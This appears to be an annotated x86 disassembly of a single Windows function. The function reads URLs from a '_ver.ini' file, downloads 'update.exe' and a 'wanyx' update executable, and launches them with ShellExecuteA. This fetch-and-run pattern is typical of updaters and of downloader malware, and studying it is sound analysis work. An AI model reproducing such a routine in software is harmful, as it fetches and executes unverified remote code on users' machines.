Function at 0x401d50
Capabilities:
Create directory
Create process on windows
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x42b1a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
mov eax, dword [0x438968]
push ebx
push esi
push edi
mov dword [esp + 0x10], eax
mov dword [esp + 0x40], 0
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], eax
push 0x100
push 0x100
lea ecx, [esp + 0x18]
mov byte [esp + 0x48], 2
call fcn.0041fd4d
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call fcn.0041fd9c
push 0x5c
lea ecx, [esp + 0x14]
call fcn.0041d313
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
call fcn.0041d29b
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x44], 3
call fcn.0041fa7d
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], 2
call fcn.0041f944
push 0x100
push 0x100
lea ecx, [esp + 0x14]
call fcn.0041fd4d
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0x10]
call fcn.0041fd9c
push 0x438190
lea ecx, [esp + 0x10]
call fcn.0041d335
lea ecx, [esp + 0x18]
push eax
push ecx
lea ecx, [esp + 0x14]
call fcn.0041d29b
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x44], 4
call fcn.0041fa7d
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], 2
call fcn.0041f944
lea edx, [esp + 0x10]
push str._ver.ini
lea eax, [esp + 0x1c]
push edx
push eax
call fcn.0041fbd9
mov eax, dword [eax]
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push eax
push 0
push str.down
push 0x438204
call ebx
lea ecx, [esp + 0x18]
mov esi, eax
call fcn.0041f944
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test esi, esi
je 0x401f4a
lea ecx, [esp + 0x10]
push str._ver.ini
lea edx, [esp + 0x1c]
push ecx
push edx
call fcn.0041fbd9
mov eax, dword [eax]
lea ecx, [esp + 0x14]
push eax
push 0x100
push 0x100
mov byte [esp + 0x4c], 5
call fcn.0041fd4d
push eax
push 0x43c9d4
push 0x438200
push 0x438204
call edi
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], 2
call fcn.0041f944
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.0041fd9c
lea eax, [esp + 0xc]
push str.update.exe
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.0041fbd9
mov eax, dword [eax]
push 0
mov edx, dword [esp + 0x18]
push 0
push eax
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [esp + 0x18]
mov esi, eax
call fcn.0041f944
test esi, esi
jl 0x401f4a
lea eax, [esp + 0xc]
push str.update.exe
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.0041fbd9
mov eax, dword [eax]
push 1
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp + 0x18]
call fcn.0041f944
lea edx, [esp + 0x10]
push str._ver.ini
lea eax, [esp + 0x1c]
push edx
push eax
call fcn.0041fbd9
mov eax, dword [eax]
push eax
push 0
push str.down
push str.main
call ebx
lea ecx, [esp + 0x18]
mov esi, eax
call fcn.0041f944
test esi, esi
je 0x4020c7
lea ecx, [esp + 0x10]
push str._ver.ini
lea edx, [esp + 0x1c]
push ecx
push edx
call fcn.0041fbd9
mov eax, dword [eax]
lea ecx, [esp + 0x14]
push eax
push 0x100
push 0x100
mov byte [esp + 0x4c], 6
call fcn.0041fd4d
push eax
push 0x43c9d4
push 0x438200
push str.main
call edi
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], 2
call fcn.0041f944
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.0041fd9c
lea ecx, [esp + 0x1c]
call fcn.00406c28
lea eax, [esp + 0xc]
push str.Program_Fileswanyx
lea ecx, [esp + 0x1c]
push eax
push ecx
mov byte [esp + 0x4c], 7
call fcn.0041fbd9
mov eax, dword [eax]
push 0
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x48], 8
call fcn.00406ceb
test eax, eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], 7
sete bl
call fcn.0041f944
test bl, bl
je 0x402050
lea edx, [esp + 0xc]
push str.Program_Fileswanyx
lea eax, [esp + 0x1c]
push edx
push eax
call fcn.0041fbd9
mov eax, dword [eax]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [esp + 0x18]
call fcn.0041f944
lea ecx, [esp + 0xc]
push str.Program_Fileswanyxwanyxupdate.exe
lea edx, [esp + 0x1c]
push ecx
push edx
call fcn.0041fbd9
mov eax, dword [eax]
push 0
push 0
push eax
mov eax, dword [esp + 0x20]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [esp + 0x18]
mov esi, eax
call fcn.0041f944
test esi, esi
jl 0x4020b9
mov ecx, dword [esp + 0x48]
mov eax, dword [ecx + 0x5c]
test eax, eax
je 0x40209a
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea eax, [esp + 0x10]
mov edx, esp
mov dword [esp + 0x4c], esp
push str.Program_Fileswanyx_
push eax
push edx
call fcn.0041fbd9
call fcn.00401940
add esp, 4
lea ecx, [esp + 0x1c]
mov byte [esp + 0x40], 2
call fcn.00406c65
lea ecx, [esp + 0xc]
mov byte [esp + 0x40], 1
call fcn.0041f944
lea ecx, [esp + 0x14]
mov byte [esp + 0x40], 0
call fcn.0041f944
lea ecx, [esp + 0x10]
mov dword [esp + 0x40], 0xffffffff
call fcn.0041f944
mov ecx, dword [esp + 0x38]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
add esp, 0x38
ret 4